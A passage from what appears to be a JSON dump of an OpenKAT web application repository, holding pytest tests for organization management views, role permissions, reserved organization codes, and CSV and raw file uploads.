 \"Service is usually on port 22, with protocol udp: The Secure Shell (SSH) Protocol. \"\n        \"Service is usually on port 22, with protocol sctp: SSH. Service is usually on port None, \"\n        \"with protocol tcp: SSH Remote Login Protocol\"\n    )\n\n    assert source == \"https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml\"\n\n    output = get_info(\"Service\", \"ssh\")\n    output.pop(\"information updated\")  # Remove timestamp\n\n    assert output == {\"description\": description, \"source\": source}\n"
  },
  {
    "path": "rocky/tests/test_organization.py",
    "content": "from unittest.mock import patch\n\nimport pytest\nfrom django.contrib.auth.models import Permission\nfrom django.core.exceptions import PermissionDenied, ValidationError\nfrom django.urls import reverse\nfrom httpx import RequestError\nfrom pytest_django.asserts import assertContains, assertNotContains\nfrom tools.models import DENY_ORGANIZATION_CODES, Organization\n\nfrom rocky.views.indemnification_add import IndemnificationAddView\nfrom rocky.views.organization_add import OrganizationAddView\nfrom rocky.views.organization_edit import OrganizationEditView\nfrom rocky.views.organization_list import OrganizationListView\nfrom rocky.views.organization_member_list import OrganizationMemberListView\nfrom rocky.views.organization_settings import OrganizationSettingsView\nfrom tests.conftest import create_member, setup_request\n\nAMOUNT_OF_TEST_ORGANIZATIONS = 50\n\n\n@pytest.fixture\ndef bulk_organizations(active_member, blocked_member):\n    katalogus_client = \"katalogus.client.KATalogusClient\"\n    octopoes_node = \"rocky.signals.OctopoesAPIConnector\"\n    scheduler_client = \"crisis_room.management.commands.dashboards.scheduler_client\"\n    bytes_client = \"crisis_room.management.commands.dashboards.get_bytes_client\"\n\n    with patch(katalogus_client), patch(octopoes_node), patch(scheduler_client), patch(bytes_client):\n        organizations = []\n        for i in range(1, AMOUNT_OF_TEST_ORGANIZATIONS):\n            org = Organization.objects.create(name=f\"Test Organization {i}\", code=f\"test{i}\", tags=f\"test-tag{i}\")\n\n            for member in [active_member, blocked_member]:\n                create_member(member.user, org)\n            organizations.append(org)\n    return organizations\n\n\ndef test_organization_list_non_superuser(rf, client_member):\n    client_member.user.user_permissions.add(Permission.objects.get(codename=\"view_organization\"))\n\n    request = setup_request(rf.get(\"organization_list\"), client_member.user)\n    response = OrganizationListView.as_view()(request)\n\n    assertContains(response, \"Organizations\")\n    assertNotContains(response, \"Add new organization\")\n    assertContains(response, client_member.organization.name)\n\n\ndef test_edit_organization(rf, superuser_member):\n    request = setup_request(rf.get(\"organization_edit\"), superuser_member.user)\n    response = OrganizationEditView.as_view()(request, organization_code=superuser_member.organization.code)\n\n    assert response.status_code == 200\n    assertContains(response, \"Name\")\n    assertContains(response, \"Code\")\n    assertContains(response, superuser_member.organization.code)\n    assertContains(response, superuser_member.organization.name)\n    assertContains(response, \"Save organization\")\n\n\ndef test_add_organization_page(rf, superuser_member):\n    request = setup_request(rf.get(\"organization_add\"), superuser_member.user)\n    response = OrganizationAddView.as_view()(request, organization_code=superuser_member.organization.code)\n\n    assert response.status_code == 200\n    assertContains(response, \"Name\")\n    assertContains(response, \"Code\")\n    assertContains(response, superuser_member.organization.code)\n    assertContains(response, superuser_member.organization.name)\n    assertContains(response, \"Organization setup\")\n\n\ndef test_add_organization_submit_success(rf, superuser_member, mocker, mock_models_octopoes, log_output):\n    mocker.patch(\"katalogus.client.KATalogusClient\")\n    mocker.patch(\"rocky.signals.OctopoesAPIConnector\")\n    mocker.patch(\"crisis_room.management.commands.dashboards.scheduler_client\")\n    mocker.patch(\"crisis_room.management.commands.dashboards.get_bytes_client\")\n    mocker.patch(\"rocky.bytes_client.get_bytes_client\")\n\n    request = setup_request(rf.post(\"organization_add\", {\"name\": \"neworg\", \"code\": \"norg\"}), superuser_member.user)\n    response = OrganizationAddView.as_view()(request, organization_code=superuser_member.organization.code)\n    assert response.status_code == 302\n\n    messages = list(request._messages)\n    assert \"Organization added successfully\" in messages[0].message\n\n    logs = log_output.entries\n\n    group_client_log, group_redteam_log, group_admin_log = logs[0], logs[1], logs[2]\n    superuser_log_created, superuser_log_updated = logs[3], logs[4]\n    static_device_log, static_token_log = logs[5], logs[6]\n    superuser_organization_log = logs[7]\n\n    dashboard_log, schedule_created, dashboard_log_data_created, recipe_created = logs[8], logs[9], logs[10], logs[11]\n\n    superuser_indemnification = logs[12]\n    superuser_organization_member = logs[13]\n\n    this_organization = logs[14]\n    this_organization_dashboard = logs[15]\n    this_organization_schedule_created = logs[16]\n    this_organization_dashboard_item_created = logs[17]\n    this_organization_recipe_created = logs[18]\n    this_organization_organization_member_created = logs[19]\n\n    this_organization_organization_member_updated = logs[20]\n\n    # groups are created\n    assert group_client_log[\"event\"] == \"%s %s created\"\n    assert group_redteam_log[\"event\"] == \"%s %s created\"\n    assert group_admin_log[\"event\"] == \"%s %s created\"\n\n    # superuser created and updated\n    assert superuser_log_created[\"event\"] == \"%s %s created\"\n    assert superuser_log_updated[\"event\"] == \"%s %s updated\"\n\n    # 2AF created\n    assert static_device_log[\"event\"] == \"%s %s created\"\n    assert static_token_log[\"event\"] == \"%s %s created\"\n\n    # superuser org created\n    assert superuser_organization_log[\"event\"] == \"%s %s created\"\n\n    # dashboard and dashboard data created and updated\n    assert dashboard_log[\"event\"] == \"%s %s created\"\n    assert schedule_created[\"event\"] == \"Schedule created for recipe: %s\"\n    assert dashboard_log_data_created[\"event\"] == \"%s %s created\"\n    assert recipe_created[\"event\"] == \"New reecipe with id: %s has been created and scheduled.\"\n\n    # create indemnification for superuser\n    assert superuser_indemnification[\"event\"] == \"%s %s created\"\n\n    # create superuser member\n    assert superuser_organization_member[\"event\"] == \"%s %s created\"\n    assert superuser_organization_member[\"object\"] == \"superuser@openkat.nl\"\n    assert superuser_organization_member[\"object_type\"] == \"OrganizationMember\"\n\n    # Organization created for this test\n    assert this_organization[\"event\"] == \"%s %s created\"\n    assert this_organization[\"object\"] == \"neworg\"\n    assert this_organization[\"object_type\"] == \"Organization\"\n\n    # dashboard and dashboard data created and updated for this test (when org is created)\n    assert this_organization_dashboard[\"event\"] == \"%s %s created\"\n    assert this_organization_schedule_created[\"event\"] == \"Schedule created for recipe: %s\"\n    assert this_organization_dashboard_item_created[\"event\"] == \"%s %s created\"\n    assert this_organization_recipe_created[\"event\"] == \"New reecipe with id: %s has been created and scheduled.\"\n\n    # member created and updated for this org\n    assert this_organization_organization_member_created[\"event\"] == \"%s %s created\"\n    assert this_organization_organization_member_updated[\"event\"] == \"%s %s updated\"\n\n\ndef test_add_organization_submit_katalogus_down(rf, superuser_member, mocker):\n    mock_requests = mocker.patch(\"katalogus.client.httpx\")\n    mock_requests.Client().get.side_effect = RequestError(\"KATalogus is down\")\n\n    request = setup_request(rf.post(\"organization_add\", {\"name\": \"neworg\", \"code\": \"norg\"}), superuser_member.user)\n    response = OrganizationAddView.as_view()(request, organization_code=superuser_member.organization.code)\n    assert response.status_code == 302\n\n    messages = list(request._messages)\n    assert \"An issue occurred in KATalogus while creating the organization\" in messages[0].message\n\n\ndef test_add_organization_submit_katalogus_exception(rf, superuser_member, mock_models_octopoes, httpx_mock):\n    httpx_mock.add_response(status_code=200, json={\"service\": \"test\", \"healthy\": True})  # mocking health page\n    httpx_mock.add_response(status_code=404)  # mocking organization page\n    httpx_mock.add_exception(RequestError(\"KATalogus is down\"))  # mocking KATalogus API\n\n    request = setup_request(rf.post(\"organization_add\", {\"name\": \"new\", \"code\": \"newcode\"}), superuser_member.user)\n    response = OrganizationAddView.as_view()(request, organization_code=superuser_member.organization.code)\n    assert response.status_code == 302\n\n    messages = list(request._messages)\n    assert \"An issue occurred in KATalogus while creating the organization\" in messages[0].message\n\n\ndef test_add_organization_submit_katalogus_not_healthy(rf, superuser_member, httpx_mock):\n    httpx_mock.add_response(status_code=200, json={\"service\": \"test\", \"healthy\": False})\n\n    request = setup_request(rf.post(\"organization_add\", {\"name\": \"neworg\", \"code\": \"norg\"}), superuser_member.user)\n    response = OrganizationAddView.as_view()(request, organization_code=superuser_member.organization.code)\n    assert response.status_code == 302\n\n    messages = list(request._messages)\n    assert \"An issue occurred in KATalogus while creating the organization\" in messages[0].message\n\n\ndef test_organization_list(rf, superuser_member, bulk_organizations, django_assert_max_num_queries):\n    \"\"\"Verify that this view does not query the database for each organization.\"\"\"\n\n    with django_assert_max_num_queries(\n        AMOUNT_OF_TEST_ORGANIZATIONS, info=\"Too many queries for organization list view\"\n    ):\n        request = setup_request(rf.get(\"organization_list\"), superuser_member.user)\n        response = OrganizationListView.as_view()(request)\n\n        assertContains(response, \"Organizations\")\n        assertContains(response, \"Add new organization\")\n        assertContains(response, superuser_member.organization.name)\n\n        for org in bulk_organizations:\n            assertContains(response, org.name)\n\n\ndef test_organization_member_list(rf, admin_member):\n    request = setup_request(rf.get(\"organization_member_list\"), admin_member.user)\n    response = OrganizationMemberListView.as_view()(request, organization_code=admin_member.organization.code)\n\n    assertContains(response, \"Organization\")\n    assertContains(response, admin_member.organization.name)\n    assertContains(response, \"Members\")\n    assertContains(response, \"Add member(s)\")\n    assertNotContains(response, \"Name\")\n    assertNotContains(response, admin_member.user.full_name)\n    assertContains(response, \"Email\")\n    assertContains(response, admin_member.user.email)\n    assertContains(response, \"Role\")\n    assertContains(response, \"Admin\")\n    assertContains(response, \"Status\")\n    assertContains(response, admin_member.status)\n\n    # We should not be showing information about the User to just any admin in an organization\n    assertNotContains(response, \"Added\")\n    assertNotContains(response, admin_member.user.date_joined.strftime(\"%m/%d/%Y\"))\n\n    assertContains(response, \"Assigned clearance level\")\n    assertContains(response, admin_member.trusted_clearance_level)\n    assertContains(response, \"Accepted clearance level\")\n    assertContains(response, admin_member.acknowledged_clearance_level)\n    assertContains(response, \"Edit\")\n    assertContains(response, admin_member.id)\n    assertContains(response, \"Blocked\")\n\n\ndef test_organization_filtered_member_list(rf, superuser_member, new_member, blocked_member):\n    # Test with only filter option blocked status \"blocked\"\n    request = setup_request(rf.get(\"organization_member_list\", {\"blocked\": \"blocked\"}), superuser_member.user)\n    response = OrganizationMemberListView.as_view()(request, organization_code=superuser_member.organization.code)\n\n    assertNotContains(response, new_member.user.full_name)\n    assertNotContains(response, blocked_member.user.full_name)\n\n    # Test with only filter option status \"new\" checked\n    request2 = setup_request(rf.get(\"organization_member_list\", {\"status\": \"new\"}), superuser_member.user)\n    response2 = OrganizationMemberListView.as_view()(request2, organization_code=superuser_member.organization.code)\n\n    assertNotContains(response2, new_member.user.full_name)\n    assertNotContains(response2, blocked_member.user.full_name)\n    assertContains(response2, 'class=\"icon neutral\"')\n    assertNotContains(response2, 'class=\"icon positive\"')\n\n    # Test with every filter option checked (new, active, blocked and unblocked)\n    request3 = setup_request(\n        rf.get(\"organization_member_list\", {\"status\": [\"new\", \"active\"], \"blocked\": [\"blocked\", \"unblocked\"]}),\n        superuser_member.user,\n    )\n    response3 = OrganizationMemberListView.as_view()(request3, organization_code=superuser_member.organization.code)\n\n    # We should not expose full names of users to just any admin in any organization\n    assertNotContains(response3, superuser_member.user.full_name)\n    assertNotContains(response3, new_member.user.full_name)\n    assertNotContains(response3, blocked_member.user.full_name)\n\n    assertContains(response3, 'class=\"icon neutral\"')\n    assertContains(response3, 'class=\"icon positive\"')\n\n\ndef test_organization_does_not_exist(client, client_member):\n    client.force_login(client_member.user)\n    response = client.get(reverse(\"organization_settings\", kwargs={\"organization_code\": \"nonexistent\"}))\n\n    assert response.status_code == 404\n\n\ndef test_organization_no_member(client, clientuser, organization):\n    client.force_login(clientuser)\n    response = client.get(reverse(\"organization_settings\", kwargs={\"organization_code\": organization.code}))\n\n    assert response.status_code == 404\n\n\ndef test_organization_active_member(rf, admin_member):\n    # Default is already active\n    request = setup_request(rf.get(\"organization_settings\"), admin_member.user)\n    response = OrganizationSettingsView.as_view()(request, organization_code=admin_member.organization.code)\n\n    assert response.status_code == 200\n\n\ndef test_organization_blocked_member(rf, admin_member):\n    admin_member.blocked = True\n    admin_member.save()\n    request = setup_request(rf.get(\"organization_settings\"), admin_member.user)\n    with pytest.raises(PermissionDenied):\n        OrganizationSettingsView.as_view()(request, organization_code=admin_member.organization.code)\n\n\ndef test_edit_organization_permissions(rf, redteam_member, client_member):\n    \"\"\"Redteamers and clients cannot edit organization.\"\"\"\n    request_redteam = setup_request(rf.get(\"organization_edit\"), redteam_member.user)\n    request_client = setup_request(rf.get(\"organization_edit\"), client_member.user)\n\n    with pytest.raises(PermissionDenied):\n        OrganizationEditView.as_view()(request_redteam, organization_code=redteam_member.organization.code)\n\n    with pytest.raises(PermissionDenied):\n        OrganizationEditView.as_view()(\n            request_client, organization_code=client_member.organization.code, pk=client_member.organization.id\n        )\n\n\ndef test_edit_organization_indemnification(rf, redteam_member, client_member):\n    \"\"\"Redteamers and clients cannot add idemnification.\"\"\"\n    request_redteam = setup_request(rf.get(\"indemnification_add\"), redteam_member.user)\n    request_client = setup_request(rf.get(\"indemnification_add\"), client_member.user)\n\n    with pytest.raises(PermissionDenied):\n        IndemnificationAddView.as_view()(request_redteam, organization_code=redteam_member.organization.code)\n\n    with pytest.raises(PermissionDenied):\n        IndemnificationAddView.as_view()(\n            request_client, organization_code=client_member.organization.code, pk=client_member.organization.id\n        )\n\n\ndef test_admin_rights_edits_organization(rf, admin_member):\n    \"\"\"Can admin edit organization?\"\"\"\n    request = setup_request(rf.get(\"organization_edit\"), admin_member.user)\n    response = OrganizationEditView.as_view()(\n        request, organization_code=admin_member.organization.code, pk=admin_member.organization.id\n    )\n\n    assert response.status_code == 200\n\n\ndef test_admin_edits_organization(rf, admin_member, mocker):\n    \"\"\"Admin editing organization values\"\"\"\n    request = setup_request(\n        rf.post(\"organization_edit\", {\"name\": \"This organization name has been edited\", \"tags\": \"tag1,tag2\"}),\n        admin_member.user,\n    )\n    mocker.patch(\"katalogus.client.KATalogusClient\")\n    mocker.patch(\"rocky.signals.OctopoesAPIConnector\")\n    response = OrganizationEditView.as_view()(\n        request, organization_code=admin_member.organization.code, pk=admin_member.organization.id\n    )\n\n    # success post redirects to organization detail page\n    assert response.status_code == 302\n    assert response.url == f\"/en/{admin_member.organization.code}/settings\"\n    resulted_request = setup_request(rf.get(response.url), admin_member.user)\n    resulted_response = OrganizationSettingsView.as_view()(\n        resulted_request, organization_code=admin_member.organization.code\n    )\n    assert resulted_response.status_code == 200\n\n    assertContains(resulted_response, \"Tags\")\n    assertContains(resulted_response, \"tags-color-1-light plain\")  # default color\n    assertContains(resulted_response, \"tag1\")\n    assertContains(resulted_response, \"tag2\")\n\n\ndef test_organization_code_validator_from_view(rf, superuser_member, mocker, mock_models_octopoes):\n    mocker.patch(\"katalogus.client.KATalogusClient\")\n    request = setup_request(\n        rf.post(\"organization_add\", {\"name\": \"DENIED LIST CHECK\", \"code\": DENY_ORGANIZATION_CODES[0]}),\n        superuser_member.user,\n    )\n\n    response = OrganizationAddView.as_view()(request)\n\n    # Form validation returns 200 with invalid form\n    assert response.status_code == 200\n    assertContains(\n        response, \"This organization code is reserved by OpenKAT and cannot be used. Choose another organization code.\"\n    )\n\n\n@pytest.mark.django_db\ndef test_organization_code_validator_from_model(mocker, mock_models_octopoes):\n    mocker.patch(\"katalogus.client.KATalogusClient\")\n    mocker.patch(\"rocky.signals.OctopoesAPIConnector\")\n    mocker.patch(\"crisis_room.management.commands.dashboards.scheduler_client\")\n    mocker.patch(\"crisis_room.management.commands.dashboards.get_bytes_client\")\n\n    with pytest.raises(ValidationError):\n        Organization.objects.create(name=\"Test\", code=DENY_ORGANIZATION_CODES[0])\n\n    new_org = Organization.objects.create(name=\"Test\", code=\"test_123\")\n    assert new_org.code == \"test_123\"\n\n    new_org.code = DENY_ORGANIZATION_CODES[0]\n    with pytest.raises(ValidationError):\n        new_org.save()\n\n\ndef test_organization_settings_perms(rf, superuser_member, admin_member, redteam_member, client_member):\n    response_superuser = OrganizationSettingsView.as_view()(\n        setup_request(rf.get(\"organization_settings\"), superuser_member.user),\n        organization_code=superuser_member.organization.code,\n    )\n\n    response_admin = OrganizationSettingsView.as_view()(\n        setup_request(rf.get(\"organization_settings\"), admin_member.user),\n        organization_code=admin_member.organization.code,\n    )\n\n    assert response_superuser.status_code == 200\n    assert response_admin.status_code == 200\n    assertContains(response_superuser, \"Edit\")\n    assertContains(response_admin, \"Edit\")\n    assertContains(response_superuser, \"Add indemnification\")\n    assertContains(response_admin, \"Add indemnification\")\n\n    with pytest.raises(PermissionDenied):\n        OrganizationSettingsView.as_view()(\n            setup_request(rf.get(\"organization_settings\"), redteam_member.user),\n            organization_code=redteam_member.organization.code,\n        )\n\n    with pytest.raises(PermissionDenied):\n        OrganizationSettingsView.as_view()(\n            setup_request(rf.get(\"organization_settings\"), client_member.user),\n            organization_code=client_member.organization.code,\n        )\n\n\ndef test_organization_member_list_perms(rf, superuser_member, admin_member, redteam_member, client_member):\n    response_superuser = OrganizationMemberListView.as_view()(\n        setup_request(rf.get(\"organization_member_list\"), superuser_member.user),\n        organization_code=superuser_member.organization.code,\n    )\n\n    response_admin = OrganizationMemberListView.as_view()(\n        setup_request(rf.get(\"organization_member_list\"), admin_member.user),\n        organization_code=admin_member.organization.code,\n    )\n\n    assert response_superuser.status_code == 200\n    assert response_admin.status_code == 200\n\n    with pytest.raises(PermissionDenied):\n        OrganizationMemberListView.as_view()(\n            setup_request(rf.get(\"organization_member_list\"), redteam_member.user),\n            organization_code=redteam_member.organization.code,\n        )\n\n    with pytest.raises(PermissionDenied):\n        OrganizationMemberListView.as_view()(\n            setup_request(rf.get(\"organization_member_list\"), client_member.user),\n            organization_code=client_member.organization.code,\n        )\n\n\ndef test_organization_list_perms(rf, superuser_member, admin_member, client_member):\n    response_superuser = OrganizationListView.as_view()(\n        setup_request(rf.get(\"organization_list\"), superuser_member.user),\n        organization_code=superuser_member.organization.code,\n    )\n\n    response_admin = OrganizationListView.as_view()(\n        setup_request(rf.get(\"organization_list\"), admin_member.user), organization_code=admin_member.organization.code\n    )\n\n    response_client = OrganizationListView.as_view()(\n        setup_request(rf.get(\"organization_list\"), client_member.user),\n        organization_code=client_member.organization.code,\n    )\n\n    assertContains(response_superuser, \"Add new organization\")\n\n    # Non-superuser can not add organization\n    assertNotContains(response_admin, \"Add new organization\")\n    assertNotContains(response_client, \"Add new organization\")\n\n\n@pytest.mark.parametrize(\"member\", [\"superuser_member\", \"admin_member\"])\ndef test_organization_edit_perms(request, member, rf):\n    member = request.getfixturevalue(member)\n\n    response = OrganizationEditView.as_view()(\n        setup_request(rf.get(\"organization_edit\"), member.user),\n        organization_code=member.organization.code,\n        pk=member.organization.id,\n    )\n\n    assert response.status_code == 200\n\n\n@pytest.mark.parametrize(\"member\", [\"superuser_member\", \"admin_member\"])\ndef test_organization_edit_view(request, member, rf):\n    member = request.getfixturevalue(member)\n\n    response = OrganizationSettingsView.as_view()(\n        setup_request(rf.get(\"organization_settings\"), member.user), organization_code=member.organization.code\n    )\n\n    assert response.status_code == 200\n    assertContains(response, \"Edit\")\n    assertContains(response, \"icon ti-edit\")\n\n\n@pytest.mark.parametrize(\"member\", [\"redteam_member\", \"client_member\"])\ndef test_organization_edit_perms_on_settings_view(request, member, rf):\n    member = request.getfixturevalue(member)\n\n    with pytest.raises(PermissionDenied):\n        OrganizationSettingsView.as_view()(\n            setup_request(rf.get(\"organization_settings\"), member.user), organization_code=member.organization.code\n        )\n"
  },
  {
    "path": "rocky/tests/test_privacy_statement.py",
    "content": "from pytest_django.asserts import assertContains\n\nfrom rocky.views.privacy_statement import PrivacyStatementView\nfrom tests.conftest import setup_request\n\n\ndef test_privacy_statement(rf, client_member):\n    request = setup_request(rf.get(\"privacy_statement\"), client_member.user)\n\n    response = PrivacyStatementView.as_view()(request)\n    assert response.status_code == 200\n    assertContains(response, \"KAT Privacy Statement\")\n"
  },
  {
    "path": "rocky/tests/test_scans.py",
    "content": "import json\nfrom pathlib import Path\n\nfrom pytest_django.asserts import assertContains\n\nfrom rocky.views.scans import ScanListView\nfrom tests.conftest import setup_request\n\n\ndef test_katalogus_plugin_listing(client_member, rf, httpx_mock):\n    httpx_mock.add_response(json=json.loads((Path(__file__).parent / \"stubs\" / \"katalogus_boefjes.json\").read_text()))\n\n    request = setup_request(rf.get(\"scan_list\"), client_member.user)\n    response = ScanListView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 200\n    assertContains(response, \"Boefjes\")\n    assertContains(response, \"BinaryEdge\")\n"
  },
  {
    "path": "rocky/tests/test_upload_csv.py",
    "content": "from io import BytesIO\n\nimport pytest\nfrom pytest_django.asserts import assertContains\n\nfrom rocky.views.upload_csv import UploadCSV\nfrom tests.conftest import setup_request\n\nCSV_EXAMPLES = [\n    # hostname\n    b\"name,network\\nexample.com,internet\",\n    # hostname without network\n    b\"name\\nexample.net\",\n    # ipv4s\n    b\"\"\"address,network\n1.1.1.1,internet\n2.2.2.2,internet\n3.3.3.3,darknet\"\"\",\n    # ipv6s\n    b\"\"\"address,network\nFE80:CD00:0000:0CDE:1257:0000:211E:729C,internet\nFE80:CD00:0000:0CDE:1257:0000:211E:729D,darknet\"\"\",\n    # urls\n    b\"\"\"network,raw\ninternet,https://example.com/\ndarknet,https://openkat.nl/\"\"\",\n    # url without network\n    b\"raw\\nhttps://example.com/\",\n    b\"\"\"raw, clearance\nhttps://potato0.com/,0\nhttps://potato1.com/,1\nhttps://potato2.com/,2\nhttps://potato3.com/,3\nhttps://potato4.com/,4\nhttps://potato5.com/,5\nhttps://potato.com/,potato\"\"\",\n]\nINPUT_TYPES = [\"Hostname\", \"Hostname\", \"IPAddressV4\", \"IPAddressV6\", \"URL\", \"URL\", \"URL\"]\nEXPECTED_OOI_COUNTS = [2, 2, 6, 4, 4, 2, 14]\n\n\ndef test_upload_csv_page(rf, redteam_member):\n    request = setup_request(rf.get(\"upload_csv\"), redteam_member.user)\n\n    response = UploadCSV.as_view()(request, organization_code=redteam_member.organization.code)\n    assert response.status_code == 200\n    assertContains(response, \"Upload CSV\")\n\n\ndef test_upload_csv_simple(rf, redteam_member):\n    request = setup_request(rf.get(\"upload_csv\"), redteam_member.user)\n    response = UploadCSV.as_view()(request, organization_code=redteam_member.organization.code)\n\n    assert response.status_code == 200\n\n\ndef test_upload_bad_input(rf, redteam_member, mock_organization_view_octopoes, mock_bytes_client):\n    data = b\"invalid|'\\n4\\bcsv|format\"\n    example_file = BytesIO(data)\n    example_file.name = \"networks.csv\"\n\n    request = setup_request(\n        rf.post(\"upload_csv\", {\"object_type\": \"Hostname\", \"csv_file\": example_file}), redteam_member.user\n    )\n    response = UploadCSV.as_view()(request, organization_code=redteam_member.organization.code)\n\n    assert response.status_code == 302\n\n    task_id = mock_bytes_client().add_manual_proof.call_args[0][0]\n    mock_bytes_client().add_manual_proof.assert_called_once_with(task_id, data, manual_mime_types={\"manual/csv\"})\n\n    messages = list(request._messages)\n    assert \"could not be created for row number\" in messages[0].message\n\n\ndef test_upload_bad_name(rf, redteam_member, mock_bytes_client):\n    example_file = BytesIO(b\"name,network\\n\\xa0\\xa1,internet\")\n    example_file.name = \"networks.cvs\"\n\n    request = setup_request(\n        rf.post(\"upload_csv\", {\"object_type\": \"Hostname\", \"csv_file\": example_file}), redteam_member.user\n    )\n    response = UploadCSV.as_view()(request, organization_code=redteam_member.organization.code)\n\n    assert response.status_code == 200\n    assert mock_bytes_client().add_manual_proof.call_count == 0\n    assertContains(response, \"Only CSV file supported\")\n\n\ndef test_upload_bad_decoding(rf, redteam_member, mock_bytes_client):\n    example_file = BytesIO(b\"name,network\\n\\xa0\\xa1,internet\")\n    example_file.name = \"networks.csv\"\n\n    request = setup_request(\n        rf.post(\"upload_csv\", {\"object_type\": \"Hostname\", \"csv_file\": example_file}), redteam_member.user\n    )\n    response = UploadCSV.as_view()(request, organization_code=redteam_member.organization.code)\n\n    assert response.status_code == 200\n    assert mock_bytes_client().add_manual_proof.call_count == 0\n    assertContains(response, \"File could not be decoded\")\n\n\n@pytest.mark.parametrize(\n    \"example_input, input_type, expected_ooi_counts\", zip(CSV_EXAMPLES, INPUT_TYPES, EXPECTED_OOI_COUNTS)\n)\ndef test_upload_csv(\n    rf,\n    redteam_member,\n    mock_organization_view_octopoes,\n    mock_bytes_client,\n    example_input,\n    input_type,\n    expected_ooi_counts,\n):\n    example_file = BytesIO(example_input)\n    example_file.name = f\"{input_type}.csv\"\n\n    request = setup_request(\n        rf.post(\"upload_csv\", {\"object_type\": input_type, \"csv_file\": example_file}), redteam_member.user\n    )\n    response = UploadCSV.as_view()(request, organization_code=redteam_member.organization.code)\n\n    assert response.status_code == 302\n    assert mock_organization_view_octopoes().save_declaration.call_count == 0\n    assert mock_organization_view_octopoes().save_many_declarations.call_count == 1\n\n    task_id = mock_bytes_client().add_manual_proof.call_args[0][0]\n    mock_bytes_client().add_manual_proof.assert_called_once_with(\n        task_id, example_input, manual_mime_types={\"manual/csv\"}\n    )\n\n    messages = list(request._messages)\n    assert \"successfully added\" in messages[0].message\n"
  },
  {
    "path": "rocky/tests/test_upload_members.py",
    "content": "from io import BytesIO\nfrom pathlib import Path\n\nimport pytest\nfrom django.core.exceptions import PermissionDenied\nfrom pytest_django.asserts import assertContains\nfrom tools.models import OrganizationMember\n\nfrom rocky.views.organization_member_add import DownloadMembersTemplateView, MembersUploadView\nfrom tests.conftest import setup_request\n\n\ndef test_upload_members_page(rf, superuser_member):\n    request = setup_request(rf.get(\"organization_member_upload\"), superuser_member.user)\n\n    response = MembersUploadView.as_view()(request, organization_code=superuser_member.organization.code)\n    assert response.status_code == 200\n    assertContains(response, \"To create a custom CSV file, make sure it meets the following criteria:\")\n    assertContains(response, \"Upload CSV file\")\n    assertContains(response, \"email\")\n\n\ndef test_download_template(rf, superuser_member):\n    request = setup_request(rf.get(\"organization_member_upload\"), superuser_member.user)\n\n    response = DownloadMembersTemplateView.as_view()(request, organization_code=superuser_member.organization.code)\n    assert response.status_code == 200\n    assert (\n        b\"\".join(response.streaming_content)\n        == b\"full_name,email,account_type,trusted_clearance_level,acknowledged_clearance_level\"\n    )\n\n\ndef test_upload_members_page_forbidden(rf, redteam_member):\n    request = setup_request(rf.get(\"organization_member_upload\"), redteam_member.user)\n\n    with pytest.raises(PermissionDenied):\n        MembersUploadView.as_view()(request, organization_code=redteam_member.organization.code)\n\n\ndef test_upload_members(rf, superuser_member):\n    example_file = Path(__file__).parent.joinpath(\"stubs\").joinpath(\"mock.csv\").open()\n    assert OrganizationMember.objects.filter(organization=superuser_member.organization).count() == 1\n\n    request = setup_request(rf.post(\"organization_member_upload\", {\"csv_file\": example_file}), superuser_member.user)\n    response = MembersUploadView.as_view()(request, organization_code=superuser_member.organization.code)\n\n    assert response.status_code == 302\n    messages = list(request._messages)\n    assert len(messages) == 4\n\n    assert messages[0].message == \"Invalid email address: 'a.dl'\"\n    assert messages[1].message == \"Invalid data for: 'a@b.ul'\"\n    assert messages[2].message == \"Invalid data for: 'a@b.ml'\"\n    assert messages[3].message == \"Successfully processed users from csv.\"\n\n    assert response.url == f\"/en/{superuser_member.organization.code}/members\"\n\n    assert OrganizationMember.objects.filter(organization=superuser_member.organization, status=\"active\").count() == 5\n    assert not OrganizationMember.objects.filter(organization=superuser_member.organization).last().user.password\n\n\ndef test_upload_bad_columns(rf, superuser_member):\n    example_file = BytesIO(b\"name,network\\nabc,internet\")\n    example_file.name = \"bad.cvs\"\n    assert OrganizationMember.objects.filter(organization=superuser_member.organization).count() == 1\n\n    request = setup_request(rf.post(\"organization_member_upload\", {\"csv_file\": example_file}), superuser_member.user)\n    response = MembersUploadView.as_view()(request, organization_code=superuser_member.organization.code)\n\n    assert OrganizationMember.objects.filter(organization=superuser_member.organization).count() == 1\n    assert response.status_code == 200\n"
  },
  {
    "path": "rocky/tests/test_upload_raw.py",
    "content": "from datetime import datetime, timezone\nfrom io import BytesIO\n\nfrom pytest_django.asserts import assertContains\n\nfrom rocky.views.upload_raw import UploadRaw\nfrom tests.conftest import setup_request\n\n\ndef test_upload_raw_page(rf, redteam_member, mock_organization_view_octopoes):\n    request = setup_request(rf.get(\"upload_raw\"), redteam_member.user)\n\n    response = UploadRaw.as_view()(request, organization_code=redteam_member.organization.code)\n    assert response.status_code == 200\n    assertContains(response, \"Upload raw\")\n\n\ndef test_upload_raw_simple(rf, redteam_member, mock_organization_view_octopoes):\n    request = setup_request(rf.get(\"upload_raw\"), redteam_member.user)\n    response = UploadRaw.as_view()(request, organization_code=redteam_member.organization.code)\n\n    assert response.status_code == 200\n\n\ndef test_upload_empty(rf, redteam_member, mock_organization_view_octopoes, mock_bytes_client, network):\n    example_file = BytesIO(b\"\")\n\n    request = setup_request(\n        rf.post(\n            \"upload_raw\",\n            {\"mime_types\": \"Hostname\", \"raw_file\": example_file, \"ooi_id\": network, \"date\": datetime.now(timezone.utc)},\n        ),\n        redteam_member.user,\n    )\n    response = UploadRaw.as_view()(request, organization_code=redteam_member.organization.code)\n\n    assert response.status_code == 200\n    mock_bytes_client().upload_raw.assert_not_called()\n    assertContains(response, \"Required\")\n\n\ndef test_upload_raw(rf, redteam_member, mock_organization_view_octopoes, mock_bytes_client, network):\n    example_file = BytesIO(b\"abc\")\n    example_file.name = \"test\"\n\n    date = datetime.now(timezone.utc)\n\n    request = setup_request(\n        rf.post(\"upload_raw\", {\"mime_types\": \"abc/def,ghi\", \"raw_file\": example_file, \"ooi_id\": network, \"date\": date}),\n        redteam_member.user,\n    )\n    response = UploadRaw.as_view()(request, organization_code=redteam_member.organization.code)\n\n    assert response.status_code == 302\n\n    mock_bytes_client().upload_raw.assert_called_once_with(\n        b\"abc\",\n        {\"abc/def\", \"ghi\"},\n        input_ooi=mock_organization_view_octopoes().get().primary_key,\n        input_dict=mock_organization_view_octopoes().get().serialize(),\n        valid_time=date,\n    )\n\n    messages = list(request._messages)\n    assert \"successfully added\" in messages[0].message\n\n\ndef 